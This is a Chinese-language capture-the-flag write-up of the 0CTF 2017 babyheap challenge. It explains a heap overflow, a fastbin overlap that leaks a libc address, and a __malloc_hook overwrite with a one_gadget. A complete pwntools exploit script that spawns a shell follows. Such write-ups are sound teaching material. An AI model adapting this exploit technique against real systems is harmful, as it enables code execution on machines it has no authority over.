0CTF-babyheap2017祥讲
解题思路
1. 查看文件信息，安全机制
2. IDA审计
3. 分析漏洞点
4. 编写EXP
1.基本信息
安全机制
安全机制全部开启了，其实不用慌，对我们做题影响不是很大
运行
2.IDA审计
1.Allocate
2.Fill
3.Free
4.Dump
4.1
3. 分析漏洞点
每次都是利用UAF漏洞来泄露堆的地址，第一次尝试利用这个方法去获取堆的地址（好像叫重叠堆）
漏洞点
1.Fill的size大小没有限制，可以覆盖到后面的chunk
2.在free的时候，不存在uaf漏洞
3.dump只能dump出本chunk的内容
思考漏洞点
先考虑怎么获取堆的地址:
这样就获取到smallbin的main_arena的地址
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x80)
free(1)
free(2)
payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31) #通过修改index(2)的fd指针将small chunk的地址写进fastbin链表中
payload += p8(0xc0)
fill(0, payload)
payload = p64(0)*5
payload += p64(0x31) #修改index(3),将index(4)的size位修改为和free chunk大小相同
fill(3, payload)
alloc(0x20) #将index(2)的chunk 申请走
alloc(0x20) #将我们伪造的index(4) 大小为0x20 chunk，申请走
payload = p64(0)*5 #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)
alloc(0x80) #这理多申请一个small，在我们想要获取堆地址的时候，最好是两个以上的同一个chunk来泄露 index = 5
free(4) #先free 为下面寻找0x70的chunk，做准备
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))
libc_base如何计算
hex(0x7ffff7dd1b20 - 0x7ffff7a0d000) = 0x3c4b20
0x58 就是main_arena 距离我们上图的距离0x58=88
vmmap
伪造chunk块，修改__malloc_hook
alloc(0x68) #伪造chunk 在main_arena 里面找到一个合适的chunk大小 一般常用0x7f index = 6
free(4)
fill(2, p64(libc_base + 0x3c4aed)) #main_arena的伪造chunkl地址
print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60) #将index= 4的 chunk申请走，
alloc(0x60) #将index = 4的fd ，chunk分配，这里就是我们伪造的chunk
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)
alloc(233) #这里已经将__malloc_hook，修改为onegadget ，只要调用了alloc就会获取shell
p.interactive()
bins
编写EXP
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context.log_level='debug'
local = 1
if local:
p = process("./babyheap")
#elf = ELF("./level3_x64")
#libc = ELF("libc-2.19.so")
else:
p=remote("pwn2.jarvisoj.com",9883)
elf = ELF("./level3_x64")
libc = ELF("libc-2.19.so")
def alloc(size):
p.sendline('1')
p.sendlineafter(': ', str(size))
p.recvuntil(': ', timeout=1)
def fill(idx, data):
p.sendline('2')
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(len(data)))
p.sendafter(': ', data)
p.recvuntil(': ')
def free(idx):
p.sendline('3')
p.sendlineafter(': ', str(idx))
p.recvuntil(': ')
def dump(idx):
p.sendline('4')
p.sendlineafter(': ', str(idx))
p.recvuntil(': \n')
data = p.recvline()
p.recvuntil(': ')
return data
p.recvuntil(': ')
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x80)
free(1)
free(2)
payload = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)
payload = p64(0)*5
payload += p64(0x31)
fill(3, payload)
#gdb.attach(p)
alloc(0x20)
alloc(0x20) #chunk申请过来
payload = p64(0)*5 #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))
#gdb.attach(p)
log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
log.info("libc_base: " + hex(libc_base))
alloc(0x68) #伪造chunk 在main_arena 里面找到一个合适的chunk大小 一般常用0x7f
free(4)
pause()
fill(2, p64(libc_base + 0x3c4aed))
print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60)
#gdb.attach(p)
alloc(0x60)
#gdb.attach(p)
payload = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)
alloc(233)
p.interactive()
后期在继续补充…
参考文献
：https://www.cnblogs.com/jazm/p/11184380.html
：https://bbs.pediy.com/thread-223461.htm